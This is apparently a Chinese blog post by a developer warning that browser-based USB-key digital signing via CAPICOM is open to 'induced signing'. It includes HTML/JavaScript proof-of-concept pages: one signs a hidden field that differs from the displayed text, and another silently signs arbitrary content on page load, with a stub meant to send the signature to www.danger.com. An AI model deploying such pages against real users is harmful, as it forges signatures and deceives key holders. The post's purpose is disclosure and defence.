很多人喜歡使用UsbKey產(chǎn)生數(shù)字簽名的方式提交到服務(wù)器,最近我做的幾個(gè)省廳的項(xiàng)目均如此,利用USBKey提供的ActiveX插件(更常見的是CAPICOM接口)通過USBKey廠商提供的WindowsCSP去調(diào)用UsbKey產(chǎn)生數(shù)字簽名。
1,?
用戶在頁(yè)面瀏覽文書
??????2,?
用戶對(duì)頁(yè)面中的
Form
數(shù)據(jù)進(jìn)行簽名
??????3,?
在本地產(chǎn)生數(shù)字簽名
??????4,?
數(shù)字簽名提交到服務(wù)器
???大家都認(rèn)為以上的方案非常可靠,但這種方案存在一個(gè)極為嚴(yán)重的安全問題——誘導(dǎo)簽名。
???UsbKey的用戶在大多數(shù)情況下無(wú)法確認(rèn)自己看到的數(shù)據(jù)就是自己說簽名的數(shù)據(jù)!因?yàn)椋灻麛?shù)據(jù)源是通過
JavaScript
去控制的,而不是用戶。
我舉一個(gè)簡(jiǎn)單的例子,如下面的頁(yè)面
,?
用戶看到并以為自己產(chǎn)生簽名的源數(shù)據(jù)是“逮捕張子強(qiáng)及其同伙”
,
但其實(shí)不是!
<script src="Sign.js"></script>
<OBJECT id="oCAPICOM"
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>
?
<br>
<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
看上去進(jìn)行簽名的數(shù)據(jù):
<input name="data"? value="
逮捕張子強(qiáng)及其同伙
"
>
?
<br>
<!--
實(shí)際上進(jìn)行簽名的數(shù)據(jù):
"
釋放張子強(qiáng)及其同伙
" -->
<input type="hidden" name="data_danger" value="
釋放張子強(qiáng)及其同伙
"
>
<br>
?
數(shù)字簽名結(jié)果:
<textarea cols="100" rows="20" id="theSignedData"></textarea>
<br>
<INPUT TYPE="button" name=t1
value="
簽名數(shù)據(jù)
" onclick="theSignedData.value=pkiSignData(data_danger.value)">
</form>
|
上面的惡意例子能夠運(yùn)行于所有的
USBKey
的頁(yè)面,用戶簽名的數(shù)據(jù)其實(shí)是“釋放張子強(qiáng)及其同伙”。但由于數(shù)據(jù)被隱藏于頁(yè)面之后,用戶根本看不到,以至于產(chǎn)生惡意誘導(dǎo)簽名的嚴(yán)重后果。
防止這種惡意誘導(dǎo)簽名的辦法通常是在服務(wù)器要確保所有的涉及數(shù)字簽名的頁(yè)面在傳遞到客戶端
IE
瀏覽器前,都不會(huì)被篡改,但這種方法不能保證
100%
安全,因?yàn)樵谟脩裟且欢耍匀淮嬖谝环N非常高風(fēng)險(xiǎn)的誘導(dǎo)簽名的可能,甚至是未經(jīng)用戶許可,直接調(diào)用用戶
USBKey
去產(chǎn)生惡意數(shù)字簽名,看下面的例子:
用戶在瀏覽頁(yè)面的時(shí)候,已經(jīng)在頁(yè)面背后無(wú)聲無(wú)色地產(chǎn)生了數(shù)字簽名,而且用戶根本無(wú)法知道自己已經(jīng)對(duì)“
我今天去好又多偷了幾包煙
”這樣的內(nèi)容進(jìn)行了簽名!
下面的例子是真實(shí)的例子,能夠運(yùn)行于任何的
IE
瀏覽器,最后的結(jié)果是,頁(yè)面通過用戶的
UsbKey
產(chǎn)生了惡意簽名并送到
www.danger.com
。
<script src="Sign.js"></script>
<OBJECT id="oCAPICOM"
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>
<body onLoad="signWithAllowed()">
<br>
<form? id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
你在瀏覽文書:
<input name="data"? value="
逮捕張子強(qiáng)及其同伙
">
你以為這是僅僅是一個(gè)用于瀏覽的頁(yè)面!!
?
</body>
?
<script>
function signWithAllowed()
{
???????? //alert('
惡意簽名執(zhí)行
,
以下的簽名將不知不覺地被產(chǎn)生,并保存到某個(gè)地方
');
???????? var sign_value=pkiSignData('?我今天去好又多偷了幾包煙 s');
???????? //alert(sign_value);
???????? sendSignValueToDangerPalce();
}
?
function sendSignValueToDangerPalce()
{
???????? //Send Signvalue to www.danger.com
}
</script>
|
???????在目前大多數(shù)Usbkey中均存在誘導(dǎo)簽名的問題,在第一次產(chǎn)生數(shù)字簽名的時(shí)候,USBKey會(huì)提示用戶輸入PIN,但在第2次,第3次簽名動(dòng)作產(chǎn)生的時(shí)候,這些都已經(jīng)是用戶無(wú)法感知的事實(shí)!
????? 這就是我為什么不希望使用B/S,而是C/S方式手段產(chǎn)生數(shù)字簽名的原因。
???????我的另外一篇文章提到如何通過Java調(diào)用CryptoAPI:?
??????
http://m.tkk7.com/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已經(jīng)被用于SecureX Eclipse Plugin(securex.sourceforge.net)當(dāng)中。
??????
??????在我負(fù)責(zé)的多個(gè)業(yè)務(wù)系統(tǒng)中的數(shù)字簽名/印章中,均存在上面的危險(xiǎn)!除非我們能夠確保惡意頁(yè)面不存在,否則,某個(gè)程序員在系統(tǒng)中,哪怕是Insert很小一段JS代碼到某個(gè)不顯眼的頁(yè)面,后果是非常嚴(yán)重的。